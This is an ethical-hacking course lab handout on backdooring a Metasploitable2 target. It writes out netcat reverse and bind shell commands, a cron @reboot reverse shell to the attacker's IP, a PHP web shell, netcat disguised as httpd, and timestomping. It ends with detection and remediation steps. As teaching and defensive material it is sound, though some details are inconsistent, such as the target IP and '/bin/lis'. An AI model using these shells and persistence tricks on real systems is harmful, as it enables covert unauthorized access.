

NES555 — Lab 9: Backdooring and Persistent Access

Course: NES555 — Ethical Hacking

Estimated Duration: 3 Hours

Environment: Kali Linux (Attacker), Metasploitable2 (Primary Target)

1. Introduction

Post-exploitation is one of the most critical phases of a penetration test. After an initial compromise, an attacker's priority is to maintain access—ensuring they can return even if the original vulnerability is patched, the system reboots, or security measures are updated. This is achieved through **backdooring**: intentionally creating hidden access points.

In this lab, you will explore various methods for establishing persistence, ranging from simple network-level shells to automated scripts and web-based backdoors. By mastering these offensive techniques, you will better understand how to detect and mitigate them from a defensive (Blue Team) perspective.

Key Concepts

- **Bind Shell:** The target machine opens a listening port and waits for the attacker to connect.
- **Reverse Shell:** The target machine initiates an outbound connection to the attacker. This is typically preferred as it bypasses inbound firewall rules and NAT.
- **Persistence:** The ability of a backdoor to survive reboots, logouts, or session terminations.
- **Obfuscation:** Techniques used to hide malicious processes and files from system administrators.

[!CAUTION]

Ethical & Legal Notice: These techniques are for educational purposes only. Perform them exclusively in your isolated lab environment. Unauthorized access to computer systems is illegal and unethical.

2. Lab Objectives

By the end of this lab, students will be able to:

1. Establish and differentiate between Bind and Reverse shells using **Netcat**.
2. Implement automated persistence using **Cron**.
3. Deploy a graphical remote access backdoor via **VNC**.
4. Create a web-based entry point using **PHP Web Shells**.

5. Apply **Obfuscation** and **Anti-Forensics** (Timestamping) to hide attacker activity.
6. Identify, detect, and remove backdoors using Linux system administration tools.

3. Lab Environment Setup

Virtual Machines

Role	OS	IP Address	Username	Password
Attacker	Kali Linux	192.168.56.101	kali	kali
Target	Metasploitable2	192.168.68.10	msfadmin	msfadmin

Configuration Instructions

1. **Network:** Ensure both VMs are set to the same **Host-Only** or **Internal** network adapter (Subnet: 192.168.68.0/24).
2. **Connectivity:** Verify communication by pinging the target from Kali: ping 192.168.68.10.
3. **Initial Access:** For the purpose of this lab, we assume you have already gained shell access to the target via a previous exploit (e.g., the vsftpd backdoor or a Samba vulnerability).

4. Lab Tasks

Task 1: Netcat Connections (Bind vs. Reverse Shells)

Objective: Understand the fundamental mechanics of network-based backdoors.

A. Reverse Shell (The Industry Standard)

1. **On Kali (Attacker):** Set up a listener to wait for the target.

```
nc -lvnp 4444
```

2. **On Metasploitable2 (Target):** Force the system to connect back to your Kali IP.

```
nc 192.168.56.101 4444 -e /bin/bash
```

3. **Interact:** Verify access on Kali by running `id` and `uname -a`.

B. Bind Shell

1. **On Metasploitable2 (Target):** Open a port for the attacker to connect to.

```
nc -lvnp 5555 -e /bin/bash
```

2. **On Kali (Attacker):** Connect to the target's open port.

```
nc 192.168.56.102 5555
```

Task 2: Persistent Backdoors (Cron)

Objective: Ensure the shell reconnects automatically after a system reboot.

A. Using Cron (Reliable on older Linux systems)

1. **On Target:** Open the crontab for the root user.
Export
sudo crontab -e
2. Add the following line to trigger a reverse shell at boot:

```
@reboot /bin/nc -e /bin/bash 192.168.56.101 6666 &
```

3. **Test:** Restart the target (sudo reboot). Start a listener on Kali port 6666 and wait for the connection.
-

Task 3: Obfuscation and Hiding

Objective: Evade basic process inspection by disguising malicious binaries.

1. **Rename Binary:** Copy the Netcat binary to a location and name that mimics a legitimate service.

```
cp /bin/nc /usr/local/bin/httpd
```

2. **Execute:** Run the backdoor using the new name.

```
/usr/local/bin/httpd -e /bin/bash 192.168.56.101 8888 &
```

3. **Analysis:** Run `ps aux | grep httpd`. Note how the process appears to be a standard Apache web server to the casual observer. (not working still show the original command bash)
 4. **Try jobs -l** (working from the terminal itself run the httpd file)
-

Task 4: Graphical Access via VNC

Objective: Achieve full Remote Desktop Control.

1. **Verification:** Metasploitable2 has a VNC server pre-installed on port 5900 (Password: password).
2. **On Kali:** Connect using the VNC viewer.
`vncviewer 192.168.68.10:5900`
3. **Persistence:** Add the VNC startup command to the @reboot section of the crontab to ensure graphical access survives a reboot.
- 4.

```
@reboot /usr/bin/Xtightvnc :0 -geometry 1024x768 -depth 16 -rfbport 5900
```

Task 5: Web Shells as Persistent Entry Points

Objective: Maintain access through the web server, which is rarely blocked by firewalls.

1. **Deploy:** Create a PHP backdoor in the target's web root.

```
echo '<?php system($_GET["cmd"]); ?>' > /var/www/backdoor.php  
chown www-data:www-data /var/www/backdoor.php
```

2. **Execute:** From Kali, run commands via a web browser or curl.

```
curl "http://192.168.68.10/backdoor.php?cmd=whoami"
```

Task 6: Anti-Forensics (Timestomping)

Objective: Hide file modifications from timeline analysis.

1. **On Target:** Use the `touch` command to make your malicious binary (`/usr/local/bin/httpd`) match the timestamps of a legitimate system file.

```
touch -r /bin/lis /usr/local/bin/httpd
```

2. **Verify:** Run `stat /usr/local/bin/httpd`. The "Modified" time will now look like a years-old system file.
-

Task 7: Detection and Remediation (Blue Team)

Objective: Identify and remove the backdoors created in previous tasks.

Use the following commands on the **Target** to hunt for threats:

- **Network:** `ss -tulnp` or `netstat -tulnp` (Find unexpected listeners).
 - **Processes:** `pstree -p` (Find parent-child relationships between services and shells).
 - **Persistence:** `crontab -l`
 - **Files:** `find /var/www -name "*.php"` (Search for web shells).
 - **Remediation:** Kill the process (`kill -9 [PID]`), remove the cron/service entries, and delete the malicious binaries.
-

5. Summary & Review

Summary Table

Task	Technique	Tool	Defensive Mitigation
1	Shell Access	Netcat	Egress filtering on firewalls.
2	Persistence	Cron	Monitor startup script integrity.
3	Obfuscation	Binary Renaming	Use EDR/IDS to flag abnormal service behavior.
5	Web Entry	PHP Shell	Implement File Integrity Monitoring (FIM).

Task	Technique	Tool	Defensive Mitigation
6	Anti-Forensics	Timestomping	Analyze filesystem journals (\$MFT/Ext4 Logs).

Reflection Questions

1. Why is a **Reverse Shell** generally more successful than a **Bind Shell** in corporate environments?
2. If an attacker renames a binary (e.g., Netcat to httpd), how can a defender still identify it as malicious?
3. What is the security risk of leaving a VNC server running with a simple password like "password"?
4. Why is persistence considered one of the most dangerous phases of an attack lifecycle?

6. Submission Requirements

To receive credit, submit a lab report containing:

1. Screenshots of a successful **Reverse Shell** connection.
2. A screenshot of your **Crontab** persistence entry.
3. A screenshot showing the output of `ss -tulnp` identifying one of your backdoors.
4. Answers to the **Reflection Questions**.